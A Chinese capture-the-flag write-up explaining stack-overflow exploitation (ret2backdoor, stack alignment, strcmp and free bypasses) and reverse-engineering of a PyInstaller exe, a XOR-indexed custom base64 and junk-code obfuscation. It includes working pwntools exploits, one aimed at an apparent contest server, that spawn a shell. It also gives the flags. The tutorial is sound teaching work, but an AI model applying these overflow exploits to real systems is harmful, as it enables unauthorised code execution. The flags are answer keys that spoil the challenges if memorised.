底层栈基础 || 逆向手搓基础

pwn

第一题

这个题目很纯粹

这里给了溢出

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

  read(0, buf, 0x100u);
  return 0;
}

这里给了后门

int backdoor()
{
  return system("/bin/sh");
}

溢出之后执行后门函数即可

劫持程序执行流的原理(函数调用栈)

我们在函数中调用函数的时候是通过call指令的

call指令的本质就是先push rip,然后jmp到被调用函数中去执行

调用的栈的变化如下图所示

然后上图中注释的push和sub对应的代码中的指令如下(jmp之后执行的),这样就创造了一个新的栈帧。

我们调用read的时候,我们是可以在这个栈帧中写的,至于原因的话设计到c语言的read的参数了,read(0,buf,0x100),是往buf里面写入数值,而这个buf是正好在当前的栈帧上的变量,这个是溢出的来源,我们通过溢出之后覆写成下图

然后我们继续分析,当返回的时候是执行leave;ret,这个指令其实是mov rsp,rbp,pop rbp;ret

我们执行完leave指令之后的栈帧情况是这样的,rbp的地址是我们一开始填充的aaaaaaaa,rsp的地址是原来的rbp的地址

然后我们执行ret指令,ret指令本质上是pop rsp,rip

rip寄存器的是我们的指令寄存器,这样之后我们就把原先的返回地址执行的替换为我们后门函数的指令去执行了,至此我们可以完成程序流的劫持

rbp虽然说飞了,我们看到有下图的指令

效果是这样的,正常来说的栈帧是图中这样的,但是这个题目我们的backdoor函数中没有局部变量,所以说没有我们上图的sub rsp这个指令。

这个题目的实际情况是rsp和rbp是重合的(这个情况很特殊,我没有在图中画,我画的是一般的情况)

之后执行到system的时候,就能成功的获取到shell

最终system执行的16字节对齐(栈平衡)

但是我们会遇到一个问题,执行system的时候通不了,网上一般说的是+1或者说加上ret,我们来看一下为什么要这样解决这个问题

通过上图我们可以看到,执行完leave指令之后,我们的rsp的返回地址是在08的位置,是没有进行对齐

为什么这里不是0x10字节对齐呢,这样我们就要从头开始重新分析一遍(虽然执行完那个ret指令就满足对齐,这个说是什么操作破坏了0x10对齐更严谨)

从main函数的调用开始说起

我们调用这个main函数的时候,我们的栈帧的情况如下图所示

此时的还没有完成压栈,rbp的值还是1,rsp的地址也没有进行16字节对齐

当我们push压栈之后,我们就实现了16字节对齐,数值效果的话如下图

从这个指令之后的话就没有指令可以影响的栈帧空间了,这个时候栈帧空间恰好都是0x10空间的对齐

之后的话就是一开始看的那个图,执行leave指令,也就是mov rbp,rsp,pop rbp

mov rbp,rsp之后的时候的0x10字节对齐的,然后执行完pop rbp就不满足10字节的对齐了,之后执行完ret,也就是pop rsp,rdi,这样之后8+8之后正好又可以满足16字节对齐

上面是正常的16字节对齐的流程,下面是我们劫持后需要16字节对齐的原因

正常情况下我们ret之后,我们是没有对栈帧的操纵的,这个时候执行后续操纵仍然是16字节对齐

但是我们溢出到后门函数之后,为了把rbp调整回来,我们多了一个push rbp的栈帧的调整,这个时候执行到system是不符合16字节对齐的,这样就会在这里卡住,因为这里是不满足16字节对齐的

我们的解决方法的话一个是+1跳过对于栈帧的调整,一个是加上ret再次+8栈帧

这里有个注意的地方,ret调整栈帧的前提是我们可以控制rsp,直接影响也行,迁移控制也行,要不会触发报错,在这个题目中我们是可以通过溢出直接控制rsp的

至此,这个题目我们就能成功的解决了

exp

from pwn import *
#io = process('./pwn')
#io = remote('127.0.0.1',8000)
io = remote('175.27.251.122',33014)
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./pwn')
ret = 0x40116F
bd = 0x401156
pd = b'a'*0x48
pd += flat(ret,ret,ret,bd)
#gdb.attach(io)
io.send(pd)
io.interactive()

题目源码

#include <stdio.h>

void backdoor(){
    system("/bin/sh");
}

void gift() {
    __asm__(
        "pop %rdi\n"
        "ret\n"
    );
}

int main(){
    char buf[0x40];
    read(0,buf,0x100);
    return 0;
}

第二题:bypass

主函数,绕过比较进入vuln

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[72]; // [rsp+0h] [rbp-50h] BYREF
  char *s1; // [rsp+48h] [rbp-8h]

  s1 = (char *)malloc(0x100u);
  puts("input your name:");
  read(0, buf, 0x40u);
  puts("input your pasword:");
  read(0, s1, 0x100u);
  if ( !strcmp(buf, "admin") && !strcmp(s1, "123456") )
  {
    puts("login success!");
    vuln();
  }
  else
  {
    puts("login failed!");
  }
  return 0;
}

vuln中注意buf这个变量指向堆地址,避免报错

void vuln()
{
  _BYTE dest[72]; // [rsp+0h] [rbp-50h] BYREF
  void *buf; // [rsp+48h] [rbp-8h]

  buf = malloc(0x100u);
  printf("chunk_addr: %p\n", buf);
  read(0, buf, 0x1000u);
  memcpy(dest, buf, 0x100u);
  free(buf);
}

此题的绕过

栈的所有题目本质上都是函数调用栈的利用,这个题目多了几个其他的小知识点

一个是strcmp的绕过,一个是free函数的绕过

strcmp的比较绕过

函数原型如下

int strcmp(const char *s1, const char *s2);

strcmp 从左到右逐个比较两个字符串的字符(按 ASCII 值)

这个题目中我们需要让其同时账号等于admin,密码等于123456

&&这个是逻辑与:只有1&&1这种情况的才是1,其他的情况的都是0

!:这个是对值取反

这里综合起来的话就是让账号等于admin,密码等于123456

伪源码如下

/* Compare S1 and S2, returning less than, equal to or
   greater than zero if S1 is lexicographically less than,
   equal to or greater than S2. */
int
strcmp (const char *p1, const char *p2)
{
  const unsigned char *s1 = (const unsigned char *) p1;
  const unsigned char *s2 = (const unsigned char *) p2;
  unsigned char c1, c2;

  do
    {
      c1 = *s1++;
      c2 = *s2++;
      if (c1 == '\0')
        return c1 - c2;
    }
  while (c1 == c2);

  return c1 - c2;
}

read || scanf 的脚本输入发送

这个函数也需要注意,这个函数是没有换行符截断的,我们发送的时候需要用到send

源码如下,是非常简洁(源码依据可以不看)

ssize_t
__read (int fd, void *buf, size_t nbytes)
{
  return SYSCALL_READ (fd, buf, nbytes); // 直接陷入内核
}

与此对比的是scanf,这个是有回车符截断的,我们发送的时候需要用到sendline

伪源码如下(下面的调用链可以不看),这个是双缓冲模型封装函数

// libio/vfscanf.c (伪代码,基于真实逻辑)
case 's':
  // 1. 跳过所有前导空白字符(包括 ' ', '\t', '\n', '\r' 等)
  while (ISSPACE(c = inchar()))  // ← 关键!
    ;  // 丢弃这些字符,不存入 buffer

  // 2. 开始读取非空白字符
  unget_char(c);  // 把第一个非空白字符放回去
  while ((c = inchar()) != EOF && !ISSPACE(c)) {
    *buffer++ = c;   // ← 只存非空白字符
  }

  if (c != EOF)
    unget_char(c);   // 把终止的空白字符(如 \n)放回输入流

  *buffer = '\0';    // 添加字符串结束符
  break;

关键函数 ISSPACE(c)

#define ISSPACE(c) ((c) == ' ' || (c) == '\t' || (c) == '\n' || \
                    (c) == '\r' || (cl) == '\f' || (c) == '\v')

inchar()

#define inchar() _IO_getc_unlocked(s)

_IO_getc_unlocked 是一个宏或内联函数

int _IO_getc_unlocked(FILE *fp) {
    if (fp->_IO_read_ptr < fp->_IO_read_end) {
        // 缓冲区还有数据 → 直接返回(纯用户态,不进内核!)
        return *(fp->_IO_read_ptr)++;
    } else {
        // 缓冲区空了 → 调用 underflow 去 refill
        return _IO_UNDERFLOW(fp);
    }
}

_IO_UNDERFLOW触发系统调用

// libio/fileops.c
static int
_IO_new_file_underflow (_IO_FILE *fp)
{
  // ... 检查错误、设置状态 ...

  // 调用底层 read 函数(可能是 __read)
  ssize_t count = fp->_IO_file_read (fp, buffer, buffer_size);
  // ↑ 这里 fp->_IO_file_read 通常指向 __read (即 syscall read)

  if (count <= 0) return EOF;

  // 把读到的数据放入 stdio 缓冲区
  fp->_IO_read_ptr = buffer;
  fp->_IO_read_end = buffer + count;

  return *(fp->_IO_read_ptr)++; // 返回第一个字符
}

这里的__read如下

// sysdeps/unix/sysv/linux/read.c
ssize_t __read (int fd, void *buf, size_t nbytes) {
    return SYSCALL_READ(fd, buf, nbytes); // ← 真正的系统调用(陷入内核)
}

free函数的绕过

这个函数里面的参数是局部变量,直接填充的时候会破坏掉free里的参数导致报错,这个需要保持buf的数值不变,即指向一个合理的堆地址

如果不给合理地址就直接给我报错invalid pointer

伪源码如下

// malloc/malloc.c
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  // 1. 检查指针是否对齐
  if (__glibc_unlikely ((uintptr_t) p & MALLOC_ALIGN_MASK))
    {
      errstr = "free(): invalid pointer";
      goto errout;
    }

  // 2. 检查是否在合法堆范围内
  if (__glibc_unlikely (!chunk_is_mmapped (p)
                        && (char *) p < (char *) av->top
                        && (char *) p >= (char *) av->system_mem))
    {
      // 合法 small/large chunk
    }
  else if (!chunk_is_mmapped (p))
    {
      errstr = "free(): invalid pointer";  // 不在 heap 区域
      goto errout;
    }

errout:
  __libc_message (DL_ERROR, "%s\n", errstr);
  abort ();
}

printf的消息接收

这个%p输出的时候是先自己加上0x字符,然后将内存中的对应数字转化成对应字符的ascii进行输出,比如1会转化成‘1’

伪源码如下

// libio/vfprintf.c
case 'p':
  // 强制转为 void*
  void *ptr = va_arg(ap, void *);

  // 特殊处理 NULL
  if (ptr == NULL) {
    out_string("((nil))", 7);  // 或 "(nil)"
  } else {
    // 添加 "0x" 前缀
    out_char('0');
    out_char('x');

    // 将指针值按十六进制输出(调用 _itoa_word)
    char buf[20];
    char *end = _itoa_word((unsigned long) ptr, buf + sizeof(buf), 16, 0);
    out_string(end, buf + sizeof(buf) - end);
  }
  break;

区分的话是%s,这个是把内存的两个数字看成一个字节进行输出,没有任何的自动的转化

伪源码如下

case 's':
  const char *str = va_arg(ap, const char *);

  if (str == NULL) {
    out_string("(null)", 6);
  } else {
    // 计算长度(直到 \0)
    size_t len = strlen(str);

    // 可能受精度限制(%.5s)
    if (prec >= 0 && (size_t) prec < len)
      len = prec;

    // 直接输出原始字节!
    out_string(str, len);
  }
  break;

我们脚本的io.recv(x)函数是结束的纯粹的字节串,也就是死板的将字节串存储起来

exp

from pwn import *
io = process('./pwn')
#io = remote("175.27.251.122",33052)
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
rt = lambda x: io.recvuntil(x)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
rt("input your name:")
s("admin")
rt("input your pasword:")
s("123456")
rt('\n')
rt('\n')
rt('0x')
heap = int(io.recv(12),16)
print("heap:",hex(heap))
ret = 0x401254
bd = 0x401236
pd = flat(ret)
pd += b'a'*0x40
pd += flat(ret,ret,ret,bd)
#gdb.attach(io,"b *0x4012B3")
s(pd)
io.interactive()

题目源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#
void backdoor(){
    printf("backdoor called\n");
    system("/bin/sh");
}

void vuln(){
    char buf[0x40];
    void *p = malloc(0x100);
    printf("chunk_addr: %p\n",p);
    read(0,p,0x1000);
    memcpy(buf,p,0x100);
    free(p);
}

void init(){
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
    setvbuf(stderr,0,2,0);
}
void gift() {
    __asm__(
        "pop %rdi\n"
        "ret\n"
    );
}

int main(){
    init();
    char buf[0x40];
    char *p = malloc(0x100);
    puts("input your name:");
    read(0,buf,0x40);
    puts("input your pasword:");
    read(0,p,0x100);
    if(strcmp(buf,"admin")==0&&strcmp(p,"123456")==0){
        puts("login success!");
        vuln();
    }else{
        puts("login failed!");
    }
}

re

第一题:qiandao

首先我们确定一下这个exe文件,因为我们拖进ida看的时候是不对劲的

我们通过下面这个指令来判断一下这个python的版本

strings qiandao.exe | grep -i "py"

然后我们通过这个方式,获取我们需要的工具

git clone https://github.com/countercept/python-exe-unpacker
cd python-exe-unpacker

使用 Python 程序执行pyinstxtractor.py脚本,便可以对指定的 exe 程序进行反编译,反编译时可以看到程序打包时使用的 Python 版本

注意放到同一个目录下,这样之后我们就能成功的提取出来

python3 pyinstxtractor.py qiandao.exe

下载下面这个工具,我们转化一下python文件

pip install uncompyle6 -i https://pypi.tuna.tsinghua.edu.cn/simple

然后我们通过这个工具来获取py文件

uncompyle6 qiandao.pyc>qiandao.py

结果是给我们报错了magicgadget的问题,我们尝试用010也不行,应该是上述我们的版本的硬伤

然后我们使用出题人给出的工具来进行解压的时候是可以的

流程还是一样的

a = '53 44 50 43 53 45 43 7b 72 65 76 65 72 73 65 5f 71 69 61 6e 5f 64 61 6f 7d 0a'
correct_flag = bytes.fromhex(a).decode('utf-8').strip()
user_input = input('please input your flag: ')
if user_input == correct_flag:
    print('great')
    return None
print('wrong')

这个我们改一下流程,直接打印出来flag即可,也就是自动进行ascii字符的转化

a = '53 44 50 43 53 45 43 7b 72 65 76 65 72 73 65 5f 71 69 61 6e 5f 64 61 6f 7d 0a'
correct_flag = bytes.fromhex(a).decode('utf-8').strip()
print(correct_flag)
#SDPCSEC{reverse_qian_dao}

第二题:Gift

我们拖进去ida里面

这个是对比的密文,没法通过动态调试直接去看

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  size_t v3; // rax
  const char *s1; // rax
  char *ptr; // rbx
  char s_[4104]; // [rsp+2h] [rbp-1008h] BYREF

  puts("Input:");
  if ( !fgets(s_, 4096, stdin) )
    goto LABEL_10;
  v3 = strlen(s_);
  if ( v3 && s_[v3 - 1] == 10 )
    s_[v3 - 1] = 0;
  s1 = (const char *)sub_1260(s_);
  ptr = (char *)s1;
  if ( s1 )
  {
    if ( !strcmp(s1, "YeBCCdVNCf4eMTNjXjFjXeNHJjNwFNlwWPxHLwZfXdxtFwZkGgZkHC==") )
      puts("Correct");
    else
      puts("Wrong");
    free(ptr);
    return 0;
  }
  else
  {
LABEL_10:
    fwrite("Wrong\n", 1u, 6u, stderr);
    return 1;
  }
}

我们到着密文往前看sub_1260(s_),先看这个函数

里面是有移位,一般是base64加密

_BYTE *__fastcall sub_1260(const char *s)
{
  size_t n2_3; // rax
  size_t n2_1; // rbp
  _BYTE *v4; // rsi
  size_t n2; // rdi
  __int64 n4; // rdx
  size_t n2_2; // rcx
  unsigned int v8; // eax
  char n61; // al
  unsigned int v10; // eax
  char v11; // r8
  _BYTE *v13; // rax

  n2_3 = strlen(s);
  if ( n2_3 )
  {
    n2_1 = n2_3;
    v4 = malloc(4 * ((n2_3 + 2) / 3) + 1);
    if ( v4 )
    {
      n2 = n2_1;
      n4 = 4;
      n2_2 = 0;
      while ( 1 )
      {
        v10 = (unsigned __int8)s[n2_2] << 16;
        if ( n2 == 1 )
        {
          v4[n4 - 2] = 61;
          v11 = aZyxabcdefghijk[(v10 >> 18) ^ 0x15];
          v4[n4 - 3] = aZyxabcdefghijk[(v10 >> 12) & 0x30 ^ 0x15];
          v4[n4 - 4] = v11;
        }
        else
        {
          v8 = ((unsigned __int8)s[n2_2 + 1] << 8) | v10;
          if ( n2 != 2 )
            v8 |= (unsigned __int8)s[n2_2 + 2];
          v4[n4 - 4] = aZyxabcdefghijk[(v8 >> 18) ^ 0x15];
          v4[n4 - 3] = aZyxabcdefghijk[(v8 >> 12) & 0x3F ^ 0x15LL];
          v4[n4 - 2] = aZyxabcdefghijk[(v8 >> 6) & 0x3F ^ 0x15LL];
          if ( n2 != 2 )
          {
            n61 = aZyxabcdefghijk[v8 & 0x3F ^ 0x15LL];
            goto LABEL_8;
          }
        }
        n61 = 61;
LABEL_8:
        n2_2 += 3LL;
        v4[n4 - 1] = n61;
        n2 -= 3LL;
        if ( n2_2 >= n2_1 )
        {
          v4[n4] = 0;
          return v4;
        }
        n4 += 4;
      }
    }
  }
  else
  {
    v13 = malloc(1u);
    v4 = v13;
    if ( v13 )
      *v13 = 0;
  }
  return v4;
}

这个里面的加密也没有魔改

aZyxabcdefghijk db 'ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/',0

前面这里的形式是进行的格式的处理,简单来说就是去除换行符

  puts("Input:");
  if ( !fgets(s_, 4096, stdin) )
    goto LABEL_10;
  v3 = strlen(s_);
  if ( v3 && s_[v3 - 1] == '\n' )
    s_[v3 - 1] = 0;
  s1 = base(s_);
  ptr = (char *)s1;

我们直接解码的结果如下,这里是乱码的

import base64
str1 = "YeBCCdVNCf4eMTNjXjFjXeNHJjNwFNlwWPxHLwZfXdxtFwZkGgZkHC=="
decoded = base64.b64decode(str1)
print(decoded)
#b'a\xe0B\t\xd5M\t\xfe\x1e13c^1c]\xe3G&3p\x14\xd9pX\xfcG/\x06_]\xdcm\x17\x06d\x1a\x06d\x1c'

这里的魔改的一个是魔改索引,另一个是换表

我们先写一下标准表,然后写个for循环把下面这里还原一下

        else
        {
          v8 = ((unsigned __int8)s[n2_2 + 1] << 8) | v10;
          if ( n2 != 2 )
            v8 |= (unsigned __int8)s[n2_2 + 2];
          v4[n4 - 4] = aZyxabcdefghijk[(v8 >> 18) ^ 0x15];
          v4[n4 - 3] = aZyxabcdefghijk[(v8 >> 12) & 0x3F ^ 0x15LL];
          v4[n4 - 2] = aZyxabcdefghijk[(v8 >> 6) & 0x3F ^ 0x15LL];
          if ( n2 != 2 )
          {
            n61 = aZyxabcdefghijk[v8 & 0x3F ^ 0x15LL];
            goto LABEL_8;
          }
        }

然后我们开始写exp

import base64 
stable_stable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
now_table = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"
str1 = "YeBCCdVNCf4eMTNjXjFjXeNHJjNwFNlwWPxHLwZfXdxtFwZkGgZkHC=="
str2 = ""
str2 = base64.b64decode(str1.translate(str.maketrans(now_table,stable_stable)))

普通的换表的话,我们用下面这个就行,但是和这个还有一个索引的移位,需要我们对base64换表有一个比较深刻的理解

这里的异或相当于对于标准表进行了二次改变

  1. 将 3 字节输入 → 拆成 4 个 6-bit 值(i0, i1, i2, i3)
  2. 对每个 ij,计算 k = ij ^ 0x15
  3. 输出 custom_table[k]

这里的移位的效果和上面的效果是一样的,我们逆向的话,在原先的基础上,我们的表没有变,我们对应字节的索引被改变了

比如说我们原先索引对应过去是A,经过异或干扰索引之后变成了M,这样之后的话我们的结果就变了

想要还原这个过程,异或索引回去就行

但是我们怎么异或呢,不能异或表,但是索引被封装到base这个函数里面,我们影响不到索引

下面这个例子更加清晰
  • 标准表:STANDARD = "ABC..."
  • 异或密钥:K = 0x15 = 21
  • 自定义表内容:CUSTOM = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"

在编码时:

  • 原始 6-bit 索引 = 0(对应 'A')
  • 实际查表索引 = 0 ^ 21 = 21
  • CUSTOM[21] = ? → 假设是 'V'
  • 所以输出 'V',而不是 'Z'(即 CUSTOM[0])

我们在这个一般换表的基础,额外加上索引的改变,我们需要理解这里面的这三个函数的作用

str.maketrans(fake_from, stable_stable)

  • 作用:创建一个字符翻译表(translation table)
  • 规则:将 fake_from[j] 替换为 stable_stable[j](对每个 j=0~63)
  • 效果:把自定义编码的字符 → 转换成标准 Base64 字符
  • 如果 fake_from[0] = 'Y',stable_stable[0] = 'A'
  • 那么所有 'Y' 都会被替换成 'A'

str1.translate(...)

  • 作用:根据上面的翻译表,把 str1 中的每个字符替换成标准 Base64 字符
  • padding '=' 不受影响:因为 '=' 不在翻译表中,会原样保留
  • 结果:得到一个合法的标准 Base64 字符串

base64.b64decode(...)

  • 作用:将标准 Base64 字符串解码为原始字节(bytes 对象)
  • 输出:就是编码前的二进制数据(可能是加密数据、明文、flag 等)

这里的字节码可以直接打印,字节和字符并不是完全独立的

最终exp如下

import base64 
stable_stable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
now_table = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"
str1 = "YeBCCdVNCf4eMTNjXjFjXeNHJjNwFNlwWPxHLwZfXdxtFwZkGgZkHC=="
str2 = ""
str2 = base64.b64decode(str1.translate(str.maketrans(
    ''.join(now_table[i ^ 0x15] for i in range(len(now_table))),
            stable_stable)))

print(str2)
#b'SDPCSEC{th1s_7s_A_g1ft_f0r_new_Reverser}'

源码如下

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>


static const char table[] =
    "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/";

  #魔改点1:换表
static const char target_enc[] =
    "YeBCCdVNCf4eMTNjXjFjXeNHJjNwFNlwWPxHLwZfXdxtFwZkGgZkHC==";
    
__attribute__((noinline))
static char *encode_xor_base64(const char *input)
{
    const uint8_t key = 0x15;     
    size_t len;
    size_t out_len;
    char *out;
    size_t i = 0;
    size_t pos = 0;

    if (input == NULL) {
        return NULL;
    }

    len = strlen(input);
    if (len == 0) {
        out = (char *)malloc(1);
        if (out) {
            out[0] = '\0';
        }
        return out;
    }

    // 标准 Base64 长度计算
    out_len = ((len + 2) / 3) * 4;
    out = (char *)malloc(out_len + 1);
    if (!out) {
        return NULL;
    }

    while (i < len) {
        uint32_t triple = 0;
        size_t remain = len - i;

        triple |= (uint32_t)(uint8_t)input[i] << 16;
        if (remain > 1) {
            triple |= (uint32_t)(uint8_t)input[i + 1] << 8;
        }
        if (remain > 2) {
            triple |= (uint32_t)(uint8_t)input[i + 2];
        }

        // 标准 Base64 的 4 个 6bit 索引
        uint8_t b1 = (triple >> 18) & 0x3F;
        uint8_t b2 = (triple >> 12) & 0x3F;
        uint8_t b3 = (triple >> 6)  & 0x3F;
        uint8_t b4 = triple & 0x3F;

        // 魔改点2:索引先 XOR key,再用自定义表取字符
        out[pos++] = table[(b1 ^ key) & 0x3F];
        out[pos++] = table[(b2 ^ key) & 0x3F];

        if (remain > 1) {
            out[pos++] = table[(b3 ^ key) & 0x3F];
        } else {
            out[pos++] = '=';
        }

        if (remain > 2) {
            out[pos++] = table[(b4 ^ key) & 0x3F];
        } else {
            out[pos++] = '=';
        }

        i += 3;
    }

    out[pos] = '\0';
    return out;
}

int main(int argc, char **argv)
{
    char buf[4096];
    size_t len;
    char *enc;

    (void)argc;
    (void)argv;

    puts("Input:");
    if (!fgets(buf, sizeof(buf), stdin)) {
        fwrite("Wrong\n", 1, 6, stderr);
        return 1;
    }

    len = strlen(buf);
    if (len > 0 && buf[len - 1] == '\n') {
        buf[len - 1] = '\0';
    }

    enc = encode_xor_base64(buf);
    if (!enc) {
        fwrite("Wrong\n", 1, 6, stderr);
        return 1;
    }

    if (strcmp(enc, target_enc) == 0) {
        puts("Correct");
    } else {
        puts("Wrong");
    }

    free(enc);
    return 0;
}

第三题:rose

题目给了我们一个这个,应该是一个输入源

Encrypted Result:
QY/sxQrVKqD77KCTsVy97GHpwV4PMGjKAaYR7q76X7OxtUQbNudppkxAAk11MYHxxVDOsUaQMZDRrmCbQPyFznMFKxjpTmCssaO9DLD1i2i+9nVNVKCVsmDeMNoQUtrupt26AaYksZUTdu1ExVDnttrJijMWMKVj5edKU7CipqD7BKCs7YWCwZhw7KjSpj7lVwSwxtN4i9VzVV7iTj75xLxCQqqF6wjsxVDbs7aQrxSmMPuJxmoFznSOTGhAUGrwsSULTPh9wZMq9G7VQLG3VNVprjjsVx4PsGCpUGURMn497GSseSdaCbu=

然后我们根据roses进行跳转,结果如下

__int64 __fastcall sub_1400014E7(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 result; // rax

  result = 0;
  if ( a3 )
    JUMPOUT(0x14000150BLL);
  return result;
}

我们看汇编看到有这个指令

这个其实是花指令,从05到0b之间都是无效的,我们给他nop掉就行

.text:0000000140001505 loc_140001505:                          ; CODE XREF: sub_1400014E7+87↓j
.text:0000000140001505                 xor     eax, eax
.text:0000000140001507                 jz      short near ptr loc_140001509+2
.text:0000000140001509
.text:0000000140001509 loc_140001509:                          ; CODE XREF: sub_1400014E7+20↑j
.text:0000000140001509                 call    near ptr 1958B5D13h
.text:000000014000150E                 adc     [rax-75h], cl

nop完之后是这样的,我们然后用c重构一下

变成了这样,然后我们tap切换可以直接修复,不用u和p组合起来重置,当然重置也是没有任何问题

这样之后我们成功的修复了第一个花指令

然后我们看一下这个函数,修复一下这个指令

这里还是相同的情况花指令

相同的修复情况如下

然后这个是最后的一个花指令

这里后面我们不能按往常的方法识别,我们需要用在函数开头U和P的方式

我们的还原的效果如下

这个还是base64加密,然后分析一下逻辑

我们首先来看一下第一个加密

这个实质上是一个轮秘钥异或,key是aRoses,%5的作用是5个一循环,目标值的异或也不是直接疑惑,而是加上当前的索引,我们重命名之后如下

unsigned __int64 __fastcall encrypto(__int64 Buffer, __int64 a2, unsigned __int64 Size)
{
  unsigned __int64 Size_2; // rax
  unsigned __int64 index; // [rsp+8h] [rbp-8h]

  for ( index = 0; ; ++index )
  {
    Size_2 = index;
    if ( index >= Size )
      break;
    *(_BYTE *)(a2 + index) = aRoses[index % 5] ^ *(_BYTE *)(Buffer + index);
  }
  return Size_2;
}

这个的对应的解密函数

ord() 是 Python 内置函数,用于获取字符的 Unicode 码位值(ASCII 码值)

str1 = "QY/sxQrVKqD77KCTsVy97GHpwV4PMGjKAaYR7q76X7OxtUQbNudppkxAAk11MYHxxVDOsUaQMZDRrmCbQPyFznMFKxjpTmCssaO9DLD1i2i+9nVNVKCVsmDeMNoQUtrupt26AaYksZUTdu1ExVDnttrJijMWMKVj5edKU7CipqD7BKCs7YWCwZhw7KjSpj7lVwSwxtN4i9VzVV7iTj75xLxCQqqF6wjsxVDbs7aQrxSmMPuJxmoFznSOTGhAUGrwsSULTPh9wZMq9G7VQLG3VNVprjjsVx4PsGCpUGURMn497GSseSdaCbu="
key = 'Roses'
for i in range(len(str1)):
    value = ord(str1[i])
    date = ord(key[i%5]) ^ (value+i)
    print(chr(date),end='')

然后还有一个加密的函数

这个函数我们发现是有一个base64换表,但是还是标准的base64

相关的链接

base64原理(附代码) & 换表脚本 - 灰信网(软件开发博客聚合)

这里我们混淆了指针,我们修改一下date = ord(key[i%5]) ^ (value+i)这个地方

import string
import base64
str1 = "QY/sxQrVKqD77KCTsVy97GHpwV4PMGjKAaYR7q76X7OxtUQbNudppkxAAk11MYHxxVDOsUaQMZDRrmCbQPyFznMFKxjpTmCssaO9DLD1i2i+9nVNVKCVsmDeMNoQUtrupt26AaYksZUTdu1ExVDnttrJijMWMKVj5edKU7CipqD7BKCs7YWCwZhw7KjSpj7lVwSwxtN4i9VzVV7iTj75xLxCQqqF6wjsxVDbs7aQrxSmMPuJxmoFznSOTGhAUGrwsSULTPh9wZMq9G7VQLG3VNVprjjsVx4PsGCpUGURMn497GSseSdaCbu="
key = 'Roses'
str2 = ""


stable_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
now_table = "VxKw7QTsMd5Bri83NZe9Ut6pChXzD4IAYqmLuakbHofRWycvjGPnS2JE/+l01OFg"
#base64换表
str2 = base64.b64decode(str1.translate(str.maketrans(now_table,stable_table)))  #str2是bytes类型
str3 = ""
#轮秘钥加密
for i in range(len(str2)):
    value = str2[i]
    date = ord(key[i%5]) ^ (value+i)
    print(chr(date),end='')
    str3 += chr(date)

最终的exp如下

我们把base64换表,异或秘钥综合一下即可获得最后的flag

就是照着原先的加密逻辑用python重写一遍就行,因为这个算法本身可逆的特性,所以直接照着抄一遍就行

import string
import base64
str1 = "QY/sxQrVKqD77KCTsVy97GHpwV4PMGjKAaYR7q76X7OxtUQbNudppkxAAk11MYHxxVDOsUaQMZDRrmCbQPyFznMFKxjpTmCssaO9DLD1i2i+9nVNVKCVsmDeMNoQUtrupt26AaYksZUTdu1ExVDnttrJijMWMKVj5edKU7CipqD7BKCs7YWCwZhw7KjSpj7lVwSwxtN4i9VzVV7iTj75xLxCQqqF6wjsxVDbs7aQrxSmMPuJxmoFznSOTGhAUGrwsSULTPh9wZMq9G7VQLG3VNVprjjsVx4PsGCpUGURMn497GSseSdaCbu="
key = 'Roses'
str2 = ""


stable_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
now_table = "VxKw7QTsMd5Bri83NZe9Ut6pChXzD4IAYqmLuakbHofRWycvjGPnS2JE/+l01OFg"
#base64换表
str2 = base64.b64decode(str1.translate(str.maketrans(now_table,stable_table)))  #str2是bytes类型
str3 = ""
#轮秘钥加密
for i in range(len(str2)):
    value = str2[i]
    date = ord(key[i%5]) ^ value
    print(chr(date),end='')
    str3 += chr(date)
#SDPCSEC{M155_1da_thank_y0u_f0r_solv1ng_her_troub7e}

源码如下

#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>

  

//定义密钥和 花指令

#define KEY         "Roses"
#define KEY_LEN     5
#define MAX_INPUT   10240 
#define JUNK_CODE_1 \
    __asm__ __volatile__ ( \
        "xor %%eax, %%eax \n\t" \
        "jz 1f \n\t" \
        ".byte 0xE8 \n\t" /* 垃圾字节:CALL 指令头 */ \
        ".byte 0x05 \n\t" /* 假地址字节 */ \
        "1: \n\t" \
        : : : "eax", "cc" \
    )

            
            
//换表            
static const char table[] = "VxKw7QTsMd5Bri83NZe9Ut6pChXzD4IAYqmLuakbHofRWycvjGPnS2JE/+l01OFg";


static void encrypt_xor(const uint8_t *input, uint8_t *output, size_t len)
{
    for (size_t i = 0; i < len; ++i) {
        // input[i] ^ KEY[i % 5]
      JUNK_CODE_1;
       output[i] = input[i] ^ (uint8_t)KEY[i % KEY_LEN];
    }
}


static char *encode_base64(const uint8_t *input, size_t len)
{
    size_t out_len;
    char *out;
    size_t i = 0;
    size_t pos = 0;

    if (input == NULL || len == 0) {
        return NULL;
    }

   
    out_len = ((len + 2) / 3) * 4;
    out = (char *)malloc(out_len + 1);
    if (!out) {
        return NULL;
    }
    JUNK_CODE_1;
    while (i < len) {
        uint32_t triple = 0;
        size_t remain = len - i;

        // 拼接 3 个字节到 24 位整数中
